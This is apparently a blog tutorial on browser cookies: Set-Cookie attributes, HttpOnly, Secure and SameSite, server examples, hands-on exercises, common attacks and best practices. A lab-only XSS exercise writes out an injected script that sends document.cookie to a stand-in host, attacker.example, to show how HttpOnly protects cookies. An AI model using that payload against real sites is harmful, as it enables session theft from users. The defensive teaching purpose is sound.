Meta Description: Learn how browser cookies work, how sites set/read them, secure cookie flags (HttpOnly, Secure, SameSite), cookie-based attacks, and hands-on exercises (DevTools, curl, JavaScript, server examples). Best practices & compliance tips.
Primary Keywords: browser cookies, HttpOnly, SameSite, Secure cookie, Set-Cookie, cookie security, cookie best practices, view cookies DevTools, cookie tutorial


Introduction — why cookies still matter

Cookies are small pieces of data websites store in a user’s browser. They are fundamental to the modern web: sessions, authentication, personalization, tracking, A/B testing — many features rely on cookies.

This guide explains how cookies work, how browsers store and send them, security properties (HttpOnly, Secure, SameSite), common attacks, and practical exercises you can run now (local lab). Everything here is actionable and SEO-friendly so you can copy it to your blog or tutorial.


What is a cookie? (simple definition)

A cookie is a name=value pair that a server asks the browser to store. The browser includes cookies in subsequent requests to the same origin (domain + port + scheme) according to cookie rules.

Typical cookie lifecycle:

  1. Server sends Set-Cookie header with attributes.

  2. Browser stores cookie (in memory or persistent store).

  3. Browser sends cookie in Cookie header on matching requests.

  4. Server reads cookie and uses it (session lookup, preferences, etc.).


Anatomy of a cookie — Set-Cookie header

A cookie sent from server to browser looks like:

Set-Cookie: sessionId=abc123; Path=/; Domain=example.com; Expires=Wed, 27 Nov 2025 12:00:00 GMT; Secure; HttpOnly; SameSite=Strict

Key parts:

  • name=value — the data.

  • Expires / Max-Age — lifespan. Without these the cookie is a session cookie (deleted when browser closes).

  • Path — URL path scope.

  • Domain — which host(s) the cookie applies to.

  • Secure — browser only sends cookie over HTTPS.

  • HttpOnly — JavaScript document.cookie cannot read the cookie.

  • SameSite — controls cross-site sending: Strict, Lax, None (with Secure required for None).

  • Priority (some browsers) — influence eviction order.


Types of cookies

  • Session cookies — expire at end of session (no Expires/Max-Age).

  • Persistent cookies — have Expires or Max-Age.

  • Secure cookies — flagged Secure, only sent over HTTPS.

  • HttpOnly cookies — not accessible via JavaScript.

  • SameSite cookies — restrict cross-site requests to mitigate CSRF and tracking.

  • First-party vs Third-party cookies — set by same-site (first-party) or by embedded third-party resources (ads, analytics).


How browsers decide to send cookies

A browser sends cookies when:

  • The request target domain matches the cookie Domain.

  • The request path matches Path.

  • The cookie is not expired.

  • For Secure cookies, the request uses HTTPS.

  • For SameSite rules, the request context (top-level navigation vs cross-site subrequest) meets the policy.

SameSite behavior (summary):

  • Strict: cookie not sent on cross-site navigations or GETs — safest.

  • Lax: cookie sent on top-level navigations with a safe method (GET), but not on most cross-site subrequests (iframes, XHR from other sites).

  • None: cookie sent in all contexts — requires Secure.


Cookie examples — server code snippets

1) Set cookie with Node/Express

// Express res.cookie('sessionId', 'abc123', { httpOnly: true, secure: true, // send only over HTTPS sameSite: 'lax', maxAge: 24 * 60 * 60 * 1000 // 1 day });

2) Set cookie with Python Flask

from flask import Flask, make_response app = Flask(__name__) @app.route('/login') def login(): resp = make_response('Logged in') resp.set_cookie('sessionId', 'abc123', httponly=True, secure=True, samesite='Lax', max_age=86400) return resp

3) Set cookie with PHP

setcookie('sessionId', 'abc123', [ 'expires' => time() + 86400, 'path' => '/', 'domain' => 'example.com', 'secure' => true, 'httponly' => true, 'samesite' => 'Lax' ]);

Reading & manipulating cookies in JavaScript

Read cookies

console.log(document.cookie); // "sessionId=abc123; theme=dark"

Set cookie (non-HttpOnly)

document.cookie = "theme=dark; Path=/; Max-Age=31536000";

Note: HttpOnly cookies are intentionally not visible to document.cookie and therefore safer against XSS exfiltration.


Practical exercises (hands-on)

All exercises must be executed on your local machine or on sites you own. Don’t test on other people’s systems without permission.

Exercise 1 — View cookies with Chrome DevTools

  1. Open Chrome, go to any site you control (or http://localhost:3000).

  2. Press F12 → Application tab → Storage → Cookies. You’ll see cookie name, value, domain, path, expiry, and flags.

  3. Inspect HttpOnly, Secure, and SameSite values.

Exercise 2 — Send cookies manually with curl

Set cookie in request:

curl -v -b "sessionId=abc123" https://example.com/dashboard

Set cookie with Set-Cookie from a local server:

# Start a local server that responds with Set-Cookie header, then: curl -v http://localhost:8080/

Exercise 3 — Test SameSite behavior

  1. Create two local hosts (or two different ports): site-a.local:3000 and site-b.local:4000.

  2. From site-a add an <img src="http://site-b.local:4000/track"> and check whether site-b receives cookies depending on SameSite settings.

  3. Toggle cookie SameSite to None + Secure and observe differences.

Exercise 4 — Simulate XSS exfil (lab only)

  1. Deploy a vulnerable test page that echoes input unsafely (e.g., /<script>alert()>).

  2. Inject a script that attempts fetch('https://attacker.example/collect?c='+document.cookie).

  3. Observe that if session cookie has HttpOnly, document.cookie won’t reveal it — demonstrating why HttpOnly helps.


Common cookie security issues & attacks

1) Cross-Site Scripting (XSS)

  • If an attacker injects JavaScript, they can read document.cookie and exfiltrate non-HttpOnly cookies.

  • Defense: set HttpOnly for session cookies; sanitize/escape inputs; use CSP.

2) Cross-Site Request Forgery (CSRF)

  • A victim’s browser automatically sends cookies on cross-site requests — an attacker can forge actions.

  • Defense: use SameSite=Lax/Strict on session cookies, implement CSRF tokens, use double-submit cookies, require same-origin requests for sensitive endpoints.

3) Cookie Theft over HTTP

  • Sending cookies over HTTP exposes them to MitM sniffing.

  • Defense: set Secure flag and use HTTPS everywhere (HSTS).

4) Session Fixation

  • If attacker can set victim’s sessionId, they can hijack later.

  • Defense: regenerate session ID on login, restrict cookie Path/Domain, and set short expiry.

5) Third-party tracking

  • Third-party cookies in iframes can track users across sites.

  • Defense: block third-party cookies, use privacy-first strategies, or use SameSite/partitioned storage.


Best practices for cookie security (checklist)

  • Always use HTTPS and set Secure.

  • Mark authentication/session cookies HttpOnly.

  • Use SameSite=Lax or Strict for session cookies (use None; Secure only when cross-site access is required).

  • Use short lifetimes for sensitive cookies and refresh tokens periodically.

  • Regenerate session id after privilege changes (login/logout).

  • Avoid storing sensitive user data (PII, passwords) directly in cookies — store a reference (session id) on server.

  • Implement Content Security Policy (CSP) to reduce XSS risk.

  • Set Path and Domain narrowly — avoid wide scope unless needed.

  • For analytics/tracking, consider server-side storage or user-consented approaches to comply with privacy laws.


Cookie management in modern privacy contexts

  • GDPR / ePrivacy / Cookie Consent: Many jurisdictions require user consent for non-essential cookies (tracking/analytics). Provide a cookie banner and granular controls.

  • Browser privacy changes: Modern browsers (Safari, Firefox, Chrome) are limiting third-party cookies and introducing partitioned storage and enhanced tracking protections. Keep updated with browser behavior and use first-party storage where possible.

  • SameSite default: Browsers default to Lax for cookies without SameSite. Use explicit policies for predictable behavior.


Debugging tips & tools

  • Browser DevTools (Application → Cookies) — inspect cookies, flags, expiry.

  • curl -I / curl -v — view Set-Cookie headers in responses.

  • Burp Suite / OWASP ZAP — intercept and manipulate cookie headers for testing.

  • SecurityHeaders.io / Mozilla Observatory — check site headers and cookie-related best practices.

  • Browser profiles — use separate profiles for testing cookie/extension behavior.


Server-side session vs token approaches

  • Cookie-based sessions: server stores session data, cookie holds session ID — simple, widely used, can leverage secure flags and HttpOnly.

  • Token-based auth (JWT in Authorization header): often stored in localStorage or sessionStorage. Storing JWTs in JavaScript-accessible storage is more vulnerable to XSS. If you use tokens, prefer storing them in HttpOnly, Secure cookies with proper CSRF protection rather than localStorage.


Migration tips: moving from insecure cookies to secure ones

  1. Audit existing cookies (DevTools + server logs).

  2. Add Secure, HttpOnly, and SameSite progressively — test functionality.

  3. Shorten lifetimes and rotate cookies.

  4. Move critical tokens to server-side sessions or encrypted secure cookies.

  5. Communicate changes to users if behavior changes (login flows, SSO).


Example: Implementing secure login cookie flow (high-level)

  1. User posts credentials to /login over HTTPS.

  2. Server validates credentials and creates server-side session (sessionId).

  3. Server sets Set-Cookie: sessionId=abc; Path=/; HttpOnly; Secure; SameSite=Lax; Max-Age=3600.

  4. Browser stores cookie and uses it for subsequent requests.

  5. On logout, server invalidates session and sends Set-Cookie with Max-Age=0.


Compliance & legal considerations

  • Inform users about cookie usage (cookie policy).

  • Use consent mechanisms for non-essential cookies (analytics, advertising) to comply with GDPR/ePrivacy.

  • Keep records of consent where required.

  • For high-risk data, minimize cookie usage and prefer server-side storage or encrypted tokens.


Conclusion — cookies are powerful, use them securely

Cookies remain a backbone of stateful web experiences. Done right — with Secure, HttpOnly, and SameSite plus short lifetimes, HTTPS, and defensive coding — cookies are safe and practical. Done wrong, they open doors to XSS, CSRF, session hijacking, and privacy issues.

Use the practical exercises above to build muscle memory: inspect cookies with DevTools, set and test cookies from your server, try curl requests, and verify that HttpOnly prevents JS reading. Always test in your lab or on systems you own.